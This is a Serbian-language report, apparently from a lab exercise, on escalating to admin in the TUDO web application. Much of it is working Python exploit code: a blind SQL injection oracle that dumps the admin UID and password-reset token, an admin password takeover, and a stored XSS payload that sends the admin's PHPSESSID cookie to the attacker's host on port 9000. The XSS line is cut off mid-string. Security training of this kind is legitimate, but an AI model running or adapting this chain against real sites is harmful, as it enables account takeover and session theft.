Izveštaj: Admin Privilege Escalation u TUDO aplikaciji

Tokom analize i testiranja TUDO aplikacije fokusirala sam se na eskalaciju administratorskih privilegija, odnosno kako običan korisnik može da dođe do administratorskog pristupa. Za to sam koristila Python skriptu koju sam razvila, koja kombinuje nekoliko metoda napada, uključujući SQL injection, XSS, token spraying i različite tehnike RCE.

Prvo sam implementirala **SQL injection** u delu aplikacije za reset lozinke. Kroz funkcije `oracle`, `dump_uid` i `dump_token` vršila sam boolean-based SQL injection. Funkcija `oracle` služi kao oracle za proveru uslova u SQL-u, dok `dump_uid` i `dump_token` koriste binarnu pretragu da rekonstruišu UID i reset token za ciljanu korisničku sesiju. Na taj način sam mogla da dobijem token koji omogućava promenu lozinke admin naloga koristeći funkciju `change_password`. Ovaj deo koda je praktično automatizovao eskalaciju privilegija za korisnika `user1` do administratorskog nivoa.

Kao alternativu SQLi, koristila sam i **token spraying** (`token_spray`) gde skripta pokušava promenu lozinke koristeći poznate ili predvidive token vrednosti. Ova metoda pokazuje kako se slabosti u generisanju tokena mogu iskoristiti bez direktnog napada na bazu.

Nakon što je nalog eskalirao privilegije, primenila sam **XSS napad** (`steal_cookie`). Funkcija postavlja maliciozni JavaScript u opis profila korisnika. Kada administrator otvori profil, skripta bi automatski poslala njegov PHPSESSID napadaču, čime se dobija potpuna kontrola nad admins sesijom. U realnom okruženju, ovo zahteva interakciju admina, ali setup se može automatizovati.

Dalji korak je bio **RCE (Remote Code Execution)** kroz više tehnika:

- `ssti_rce` koristi MoTD endpoint i SSTI payload da izvrši PHP kod na serveru.
- `image_upload_rce` koristi upload endpoint sa `.phar` fajlom i PHP payloadom unutar GIF fajla.
- `php_deserialization_rce` koristi PHP deserializaciju neproverenih podataka (`import_user.php`) za kreiranje fajla sa izvršivim kodom.

Sve ove metode sam automatizovala u funkciji `execute_chain`, koja kombinuje autentikacioni bypass, eskalaciju privilegija i RCE. Tako se simulira kompletan exploit

chain, gde SQLi ili token spray omogućavaju kontrolu nad nalogom, XSS omogućava pristup admins sesiji, a RCE skriptom se može izvršiti proizvoljan kod na serveru.

Kroz ovu skriptu mogla sam jasno da demonstriram sve kritične ranjivosti koje omogućavaju eskalaciju privilegija u TUDO aplikaciji i da prikažem kako se različiti vektori napada mogu kombinovati da bi običan korisnik dobio administratorski pristup.

1. SQL Injection za UID i token

Ovaj deo koda služi da se putem SQL injection tehnike dobiju informacije o admin korisniku, konkretno njegov UID i token za reset lozinke.
Metode korišćene su:

- `oracle` – proverava da li neki SQL uslov važi, što nam omogućava da "ispitamo" bazu bez direktnog pristupa.
- `dump_uid` – iterativno testira moguće vrednosti UID-a admin korisnika koristeći oracle.
- `dump_token` – binarnom pretragom "čita" token za reset lozinke karakter po karakter

```python
def oracle(self, q_left: str, q_op: str, q_right: str) -> bool:
    url = f"{self.base_url}/forgotusername.php"
    payload = f"admin' and {q_left}{q_op}{q_right}"
    data = {'username': payload}
    response = self.session.post(url, data=data, timeout=10)
    return 'User exists!' in response.text

def dump_uid(self) -> Optional[int]:
    sql_template = "(select uid from users where username='{}')"
    uid = 0
    while uid < 1000:
        if self.oracle(sql_template.format(self.username), "=", f"'{uid}"):
            return uid
        uid += 1
    return None
```

```python
def dump_token(self, uid: int) -> Optional[str]:
    dumped = ""
    sql_template = "(select ascii(substr(token, {}, 1)) from tokens where uid={} limit 1)"
    for i in range(1, 33):
        char_found = self._binary_search_char(i, uid, sql_template)
        if char_found is None:
            return None
        dumped += char_found
    return dumped
```

2. Promena lozinke admin naloga

Nakon što je token za reset lozinke dobijen, sledeća metoda omogućava promenu lozinke admin korisnika.
Ovo je ključni korak da bi se kasnije mogao izvršiti login sa privilegijama admina.

```python
def change_password(self, token: str) -> bool:
    url = f"{self.base_url}/resetpassword.php"
    data = {
        'token': token,
        'password1': self.new_password,
        'password2': self.new_password
    }
    response = self.session.post(url, data=data, timeout=10)
    return 'Password changed!' in response.text
```

3. Login sa novom lozinkom

Ova metoda služi da se prijavimo na nalog admin korisnika nakon što je lozinka promenjena.
Uspesan login takođe omogućava čuvanje PHPSESSID kolačića, koji će kasnije biti iskorišćen u XSS eskalaciji privilegija.

```python
def login(self, username: str, password: str) -> bool:
    url = f"{self.base_url}/login.php"
    data = {
        'username': username,
        'password': password
    }
    response = self.session.post(url, data=data, timeout=10)
    success_indicators = ['Welcome', 'Hello', 'Logout', 'Dashboard']
    login_success = any(indicator in response.text for indicator in success_indicators)
    if login_success:
        if 'PHPSESSID' in self.session.cookies:
            self.phpsessid = self.session.cookies['PHPSESSID']
        return True
    else:
        return False
```

4. Eskalacija privilegija putem XSS-a

Ova metoda postavlja maliciozni JavaScript payload u polje profila, koji kada ga admin poseti, šalje njegov kolačić ka napadaču.
Kolačić može biti iskorišćen za preuzimanje admin sesije, što omogućava eskalaciju privilegija.

```python
def steal_cookie(self) -> bool:
    login_url = f"{self.base_url}/login.php"
    login_data = {
        'username': self.username,
        'password': self.new_password
    }
    self.session.post(login_url, data=login_data, timeout=10)

    xss_payload = f"<script>document.write('<img src=http://{self.host}:9000/'+document.cookie+'
    profile_url = f"{self.base_url}/profile.php"
    profile_data = {"description": xss_payload}

    profile_response = self.session.post(profile_url, data=profile_data, timeout=10)
    return "Success" in profile_response.text
```

5. Glavna funkcija za eskalaciju privilegija

`execute_privilege_escalation` kombinuje sve prethodne korake u logičan niz:

1. Reset lozinke preko SQLi.
2. Login sa novom lozinkom.
3. Postavljanje XSS payload-a za preuzimanje admins sesije.

```
def execute_privilege_escalation(self) -> bool:
    if not self.request_reset(self.username):
        return False

    uid = self.dump_uid()
    if uid is None:
        return False

    token = self.dump_token(uid)
    if token is None:
        return False

    if not self.change_password(token):
        return False

    if not self.login(self.username, self.new_password):
        return False

    if not self.steal_cookie():
        return False
```